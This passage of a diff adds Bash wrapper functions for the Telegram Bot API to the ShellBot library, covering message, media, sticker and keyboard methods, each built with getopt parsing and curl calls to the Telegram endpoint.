+									${can_restrict_members:+-d can_restrict_members="$can_restrict_members"} \
+									${can_pin_messages:+-d can_pin_messages="$can_pin_messages"} \
+									${can_promote_members:+-d can_promote_members="$can_promote_members"})
+    
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    		
+    	# Status
+    	return $?
+    }
+    
+    ShellBot.exportChatInviteLink()
+    {
+    	local chat_id jq_obj
+    
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:' \
+							 --longoptions 'chat_id:' \
+							 -- "$@")
+    	
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"})
+    	
+    	# Testa o retorno do método.
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    		
+    	# Status
+    	return $?
+    }
+    
+    ShellBot.sendVideoNote()
+    {
+    	local chat_id video_note duration length disable_notification \
+    			reply_to_message_id reply_markup jq_obj
+    
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:v:t:l:n:r:k:' \
+							 --longoptions 'chat_id:,
+    										video_note:,
+    										duration:,
+    										length:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-v|--video_note)
+					CheckArgType file "$1" "$2"
+    				video_note=$2
+    				shift 2
+    				;;
+    			-t|--duration)
+    				CheckArgType int "$1" "$2"
+    				duration=$2
+    				shift 2
+    				;;
+    			-l|--length)
+    				CheckArgType int "$1" "$2"
+    				length=$2
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]]		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $video_note ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --video_note]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+									${video_note:+-F video_note="$video_note"} \
+									${duration:+-F duration="$duration"} \
+									${length:+-F length="$length"} \
+									${disable_notification:+-F disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+									${reply_markup:+-F reply_markup="$reply_markup"})
+    
+    	# Testa o retorno do método.
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	# Status
+    	return $?
+    }
+    
+    
+    ShellBot.InlineKeyboardButton()
+    {
+        local 	__button __line __text __url __callback_data \
+                __switch_inline_query __switch_inline_query_current_chat
+    
+        local __param=$(getopt 	--name "$FUNCNAME" \
+							 	--options 'b:l:t:u:c:q:s:' \
+							 	--longoptions 'button:,
+												line:,
+												text:,
+												url:,
+												callback_data:,
+												switch_inline_query:,
+												switch_inline_query_chat:' \
+							 	-- "$@")
+    
+    	eval set -- "$__param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-b|--button)
+    				# Ponteiro que recebe o endereço de "button" com as definições
+    				# da configuração do botão inserido.
+					CheckArgType var "$1" "$2"
+    				__button=$2
+    				shift 2
+    				;;
+    			-l|--line)
+    				CheckArgType int "$1" "$2"
+					__line=$(($2-1))
+    				shift 2
+    				;;
+    			-t|--text)
+					__text=$(echo -e "$2")
+    				shift 2
+    				;;
+    			-u|--url)
+    				__url=$2
+    				shift 2
+    				;;
+    			-c|--callback_data)
+    				__callback_data=$2
+    				shift 2
+    				;;
+    			-q|--switch_inline_query)
+    				__switch_inline_query=$2
+    				shift 2
+    				;;
+    			-s|--switch_inline_query_current_chat)
+    				__switch_inline_query_current_chat=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    
+    	[[ $__button ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]"
+    	[[ $__text ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]"
+    	[[ $__callback_data ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --callback_data]"
+    	[[ $__line ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --line]"
+    	
+		__button=$__button[$__line]
+
+		printf -v $__button '%s' "${!__button#[}"
+		printf -v $__button '%s' "${!__button%]}"
+		
+		printf -v $__button '%s {"text": "%s", "callback_data": "%s", "url": "%s", "switch_inline_query": "%s", "switch_inline_query_current_chat": "%s"}' 	\
+							"${!__button:+${!__button},}"																									\
+							"${__text}"																														\
+							"${__callback_data}"																											\
+							"${__url}"																														\
+							"${__switch_inline_query}"																										\
+							"${__switch_inline_query_current_chat}"
+
+		printf -v $__button '%s' "[${!__button}]"
+
+    	return $?
+    }
+    
+    ShellBot.InlineKeyboardMarkup()
+    {
+    	local __button __keyboard
+
+        local __param=$(getopt 	--name "$FUNCNAME" \
+							 	--options 'b:' \
+							 	--longoptions 'button:' \
+							 	-- "$@")
+    
+    	eval set -- "$__param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-b|--button)
+    				# Ponteiro que recebe o endereço da variável "teclado" com as definições
+    				# de configuração do botão inserido.
+					CheckArgType var "$1" "$2"
+    				__button="$2"
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $__button ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]"
+    
+		__button=$__button[@]
+
+		printf -v __keyboard '%s,' "${!__button}"
+		printf -v __keyboard '%s' "${__keyboard%,}"
+
+    	# Constroi a estrutura dos objetos + array keyboard, define os valores e salva as configurações.
+    	# Por padrão todos os valores são 'false' até que seja definido.
+		printf '{"inline_keyboard": [%s]}' "${__keyboard}"
+    
+		return $?
+    }
+    
+    ShellBot.answerCallbackQuery()
+    {
+    	local callback_query_id text show_alert url cache_time jq_obj
+    	
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:t:s:u:e:' \
+    						 --longoptions 'callback_query_id:,
+    										text:,
+    										show_alert:,
+    										url:,
+    										cache_time:' \
+    						 -- "$@")
+    
+    
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--callback_query_id)
+    				callback_query_id=$2
+    				shift 2
+    				;;
+    			-t|--text)
+					text=$(echo -e "$2")
+    				shift 2
+    				;;
+    			-s|--show_alert)
+    				# boolean
+    				CheckArgType bool "$1" "$2"
+    				show_alert=$2
+    				shift 2
+    				;;
+    			-u|--url)
+    				url=$2
+    				shift 2
+    				;;
+    			-e|--cache_time)
+    				# inteiro
+    				CheckArgType int "$1" "$2"
+    				cache_time=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $callback_query_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --callback_query_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${callback_query_id:+-d callback_query_id="$callback_query_id"} \
+									${text:+-d text="$text"} \
+									${show_alert:+-d show_alert="$show_alert"} \
+									${url:+-d url="$url"} \
+									${cache_time:+-d cache_time="$cache_time"})
+    
+		MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+    }
+    
+    # Cria objeto que representa um teclado personalizado com opções de resposta
+    ShellBot.ReplyKeyboardMarkup()
+    {
+    	# Variáveis locais
+    	local __button __resize_keyboard __on_time_keyboard __selective __keyboard
+    	
+    	# Lê os parâmetros da função.
+    	local __param=$(getopt 	--name "$FUNCNAME" \
+							 	--options 'b:r:t:s:' \
+    						 	--longoptions 'button:,
+    										resize_keyboard:,
+    										one_time_keyboard:,
+    										selective:' \
+    						 	-- "$@")
+    	
+    	# Transforma os parâmetros da função em parâmetros posicionais
+    	#
+    	# Exemplo:
+    	#	--param1 arg1 --param2 arg2 --param3 arg3 ...
+    	# 		$1			  $2			$3
+    	eval set -- "$__param"
+    	
+    	# Aguarda leitura dos parâmetros
+    	while :
+    	do
+    		# Lê o parâmetro da primeira posição "$1"; Se for um parâmetro válido,
+    		# salva o valor do argumento na posição '$2' e desloca duas posições a esquerda (shift 2); Repete o processo
+    		# até que o valor de '$1' seja igual '--' e finaliza o loop.
+    		case $1 in
+    			-b|--button)
+					CheckArgType var "$1" "$2"
+    				__button=$2
+    				shift 2
+    				;;
+    			-r|--resize_keyboard)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				__resize_keyboard=$2
+    				shift 2
+    				;;
+    			-t|--one_time_keyboard)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				__on_time_keyboard=$2
+    				shift 2
+    				;;
+    			-s|--selective)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				__selective=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Imprime mensagem de erro se o parâmetro obrigatório for omitido.
+    	[[ $__button ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]"
+		
+		__button=$__button[@]
+
+		printf -v __keyboard '%s,' "${!__button}"
+		printf -v __keyboard '%s' "${__keyboard%,}"
+
+    	# Constroi a estrutura dos objetos + array keyboard, define os valores e salva as configurações.
+    	# Por padrão todos os valores são 'false' até que seja definido.
+		printf '{"keyboard": [%s], "resize_keyboard": %s, "one_time_keyboard": %s, "selective": %s}'	\
+				"${__keyboard}"																			\
+				"${__resize_keyboard:-false}" 															\
+				"${__on_time_keyboard:-false}"															\
+				"${__selective:-false}"
+
+    	# status
+    	return $?
+    }
+
+	ShellBot.KeyboardButton()
+	{
+		local __text __contact __location __button __line __request_poll
+
+		local __param=$(getopt	--name "$FUNCNAME"	\
+								--options 'b:l:t:c:o:r:'	\
+								--longoptions 'button:,
+												line:,
+												text:,
+												request_contact:,
+												request_location:,
+												request_poll:' \
+								-- "$@")
+	
+		eval set -- "$__param"
+	
+		while :
+		do
+			case $1 in
+				-b|--button)
+					CheckArgType var "$1" "$2"
+					__button=$2
+					shift 2
+					;;
+				-l|--line)
+					CheckArgType int "$1" "$2"
+					__line=$(($2-1))
+					shift 2
+					;;
+				-t|--text)
+					__text=$(echo -e "$2")
+					shift 2
+					;;
+				-c|--request_contact)
+					CheckArgType bool "$1" "$2"
+					__contact=$2
+					shift 2
+					;;
+				-o|--request_location)
+					CheckArgType bool "$1" "$2"
+					__location=$2
+					shift 2
+					;;
+				-r|--request_poll)
+					__request_poll=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+    	[[ $__button ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]"
+    	[[ $__text ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]"
+    	[[ $__line ]] 			|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --line]"
+    
+		__button=$__button[$__line]
+
+		printf -v $__button '%s' "${!__button#[}"
+		printf -v $__button '%s' "${!__button%]}"
+		
+		printf -v $__button '%s {"text": "%s", "request_contact": %s, "request_location": %s, "request_poll": %s}' 	\
+							"${!__button:+${!__button},}"															\
+							"${__text}"																				\
+							"${__contact:-false}"																	\
+							"${__location:-false}"																	\
+							"${__request_poll:-\"\"}"
+
+		printf -v $__button '%s' "[${!__button}]"
+
+    	return $?
+	}
+	
+	ShellBot.ForceReply()
+	{
+		local selective
+
+		local param=$(getopt 	--name "$FUNCNAME" 			\
+								--options 's:' 				\
+								--longoptions 'selective:' 	\
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-s|--selective)
+					CheckArgType bool "$1" "$2"
+					selective=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		printf '{"force_reply": true, "selective": %s}' ${selective:-false}
+
+		return $?
+	}
+
+	ShellBot.ReplyKeyboardRemove()
+	{
+		local selective
+
+		local param=$(getopt 	--name "$FUNCNAME" 			\
+								--options 's:' 				\
+								--longoptions 'selective:' 	\
+								-- "$@")
+
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-s|--selective)
+					CheckArgType bool "$1" "$2"
+					selective=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+
+		printf '{"remove_keyboard": true, "selective": %s}' ${selective:-false}
+
+		return $?
+	}
+
+    # Envia mensagens 
+    ShellBot.sendMessage()
+    {
+    	# Variáveis locais 
+    	local chat_id text parse_mode disable_web_page_preview
+		local disable_notification reply_to_message_id reply_markup jq_obj
+    	
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:t:p:w:n:r:k:' \
+							 --longoptions 'chat_id:,
+    										text:,
+    										parse_mode:,
+    										disable_web_page_preview:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-t|--text)
+					text=$(echo -e "$2")
+    				shift 2
+    				;;
+    			-p|--parse_mode)
+    				# Tipo: "markdown" ou "html"
+    				parse_mode=$2
+    				shift 2
+    				;;
+    			-w|--disable_web_page_preview)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_web_page_preview=$2
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    
+    	# Parâmetros obrigatórios.
+    	[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $text ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]"
+    
+    	# Chama o método da API, utilizando o comando request especificado; Os parâmetros 
+    	# e valores são passados no form e lidos pelo método. O retorno do método é redirecionado para o arquivo 'update.Json'.
+    	# Variáveis com valores nulos são ignoradas e consequentemente os respectivos parâmetros omitidos.
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${text:+-d text="$text"} \
+									${parse_mode:+-d parse_mode="$parse_mode"} \
+									${disable_web_page_preview:+-d disable_web_page_preview="$disable_web_page_preview"} \
+									${disable_notification:+-d disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-d reply_to_message_id="$reply_to_message_id"} \
+									${reply_markup:+-d reply_markup="$reply_markup"})
+   
+    	# Testa o retorno do método.
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	# Status
+    	return $?
+    }
+    
+    # Função para reencaminhar mensagens de qualquer tipo.
+    ShellBot.forwardMessage()
+    {
+    	# Variáveis locais
+    	local chat_id form_chat_id disable_notification message_id jq_obj
+    	
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:f:n:m:' \
+    						 --longoptions 'chat_id:,
+    										from_chat_id:,
+    										disable_notification:,
+    										message_id:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id="$2"
+    				shift 2
+    				;;
+    			-f|--from_chat_id)
+    				from_chat_id="$2"
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification="$2"
+    				shift 2
+    				;;
+    			-m|--message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				message_id="$2"
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios.
+    	[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $from_chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --from_chat_id]"
+    	[[ $message_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]"
+    
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${from_chat_id:+-d from_chat_id="$from_chat_id"} \
+									${disable_notification:+-d disable_notification="$disable_notification"} \
+									${message_id:+-d message_id="$message_id"})
+    	
+    	# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# status
+    	return $?
+    }
+    
+    # Utilize essa função para enviar fotos.
+    ShellBot.sendPhoto()
+    {
+    	# Variáveis locais
+    	local chat_id photo caption disable_notification 
+		local parse_mode reply_to_message_id reply_markup jq_obj
+
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:p:t:m:n:r:k:' \
+    						 --longoptions 'chat_id:, 
+    										photo:,
+    										caption:,
+											parse_mode:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    
+    
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-p|--photo)
+					CheckArgType file "$1" "$2"
+    				photo=$2
+    				shift 2
+    				;;
+    			-t|--caption)
+    				# Limite máximo de caracteres: 200
+					caption=$(echo -e "$2")
+    				shift 2
+    				;;
+				-m|--parse_mode)
+					parse_mode=$2
+					shift 2
+					;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios
+    	[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $photo ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --photo]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+									${photo:+-F photo="$photo"} \
+									${caption:+-F caption="$caption"} \
+									${parse_mode:+-F parse_mode="$parse_mode"} \
+									${disable_notification:+-F disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+									${reply_markup:+-F reply_markup="$reply_markup"})
+    	
+    	# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    }
+    
+    # Utilize essa função para enviar arquivos de audio.
+    ShellBot.sendAudio()
+    {
+    	# Variáveis locais
+    	local chat_id audio caption duration performer title 
+		local parse_mode disable_notification reply_to_message_id reply_markup jq_obj
+    	
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:a:t:m:d:e:i:n:r:k' \
+    						 --longoptions 'chat_id:,
+    										audio:,
+    										caption:,
+											parse_mode:,
+    										duration:,
+    										performer:,
+    										title:,
+    										disable_notification:,
+    										reply_to_message_id:,	
+    										reply_markup:' \
+    						 -- "$@")
+    
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-a|--audio)
+					CheckArgType file "$1" "$2"
+    				audio=$2
+    				shift 2
+    				;;
+    			-t|--caption)
+					caption=$(echo -e "$2")
+    				shift 2
+    				;;
+				-m|--parse_mode)
+					parse_mode=$2
+					shift 2
+					;;
+    			-d|--duration)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				duration=$2
+    				shift 2
+    				;;
+    			-e|--performer)
+    				performer=$2
+    				shift 2
+    				;;
+    			-i|--title)
+    				title=$2
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios
+    	[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $audio ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --audio]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+									${audio:+-F audio="$audio"} \
+									${caption:+-F caption="$caption"} \
+									${parse_mode:+-F parse_mode="$parse_mode"} \
+									${duration:+-F duration="$duration"} \
+									${performer:+-F performer="$performer"} \
+									${title:+-F title="$title"} \
+									${disable_notification:+-F disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+									${reply_markup:+-F reply_markup="$reply_markup"})
+    
+    	# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    		
+    }
+    
+    # Utilize essa função para enviar documentos.
+    ShellBot.sendDocument()
+    {
+    	# Variáveis locais
+    	local chat_id document caption disable_notification 
+		local parse_mode reply_to_message_id reply_markup jq_obj
+    	
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:d:t:m:n:r:k:' \
+    						 --longoptions 'chat_id:,
+											document:,
+    										caption:,
+											parse_mode:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-d|--document)
+					CheckArgType file "$1" "$2"
+    				document=$2
+    				shift 2
+    				;;
+    			-t|--caption)
+					caption=$(echo -e "$2")
+    				shift 2
+    				;;
+				-m|--parse_mode)
+					parse_mode=$2
+					shift 2
+					;;
+    			-n|--disable_notification)
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $document ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --document]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+									${document:+-F document="$document"} \
+									${caption:+-F caption="$caption"} \
+									${parse_mode:+-F parse_mode="$parse_mode"} \
+									${disable_notification:+-F disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+									${reply_markup:+-F reply_markup="$reply_markup"})
+    
+    	# Retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    	
+    }
+    
+    # Utilize essa função para enviat stickers
+    ShellBot.sendSticker()
+    {
+    	# Variáveis locais
+    	local chat_id sticker disable_notification reply_to_message_id reply_markup jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:s:n:r:k:' \
+    						 --longoptions 'chat_id:,
+    										sticker:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-s|--sticker)
+					CheckArgType file "$1" "$2"
+    				sticker=$2
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]"
+    
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+									${sticker:+-F sticker="$sticker"} \
+									${disable_notification:+-F disable_notification="$disable_notification"} \
+									${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+									${reply_markup:+-F reply_markup="$reply_markup"})
+    
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    }
+   
+	ShellBot.getStickerSet()
+	{
+		local name jq_obj
+		
+		local param=$(getopt --name "$FUNCNAME" \
+							 --options 'n:' \
+							 --longoptions 'name:' \
+							 -- "$@")
+		
+		# parâmetros posicionais
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-n|--name)
+					name=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+    	
+		[[ $name ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]"
+    	
+		jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${name:+-d name="$name"})
+    
+		# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+	} 
+	
+	ShellBot.uploadStickerFile()
+	{
+		local user_id png_sticker jq_obj
+		
+		local param=$(getopt --name "$FUNCNAME" \
+							 --options 'u:s:' \
+							 --longoptions 'user_id:,
+											png_sticker:' \
+							 -- "$@")
+		
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-u|--user_id)
+    				CheckArgType int "$1" "$2"
+					user_id=$2
+					shift 2
+					;;
+				-s|--png_sticker)
+					CheckArgType file "$1" "$2"
+					png_sticker=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+				esac
+		done
+
+		[[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+		[[ $png_sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]"
+    	
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${user_id:+-F user_id="$user_id"} \
+									${png_sticker:+-F png_sticker="$png_sticker"})
+    	
+		# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+					
+	}
+
+	ShellBot.setStickerPositionInSet()
+	{
+		local sticker position jq_obj
+
+		local param=$(getopt --name "$FUNCNAME" \
+							 --options 's:p:' \
+							 --longoptions 'sticker:,
+											position:' \
+							 -- "$@")
+		
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-s|--sticker)
+					sticker=$2
+					shift 2
+					;;
+				-p|--position)
+					CheckArgType int "$1" "$2"
+					position=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+		
+		[[ $sticker ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]"
+		[[ $position ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --position]"
+    	
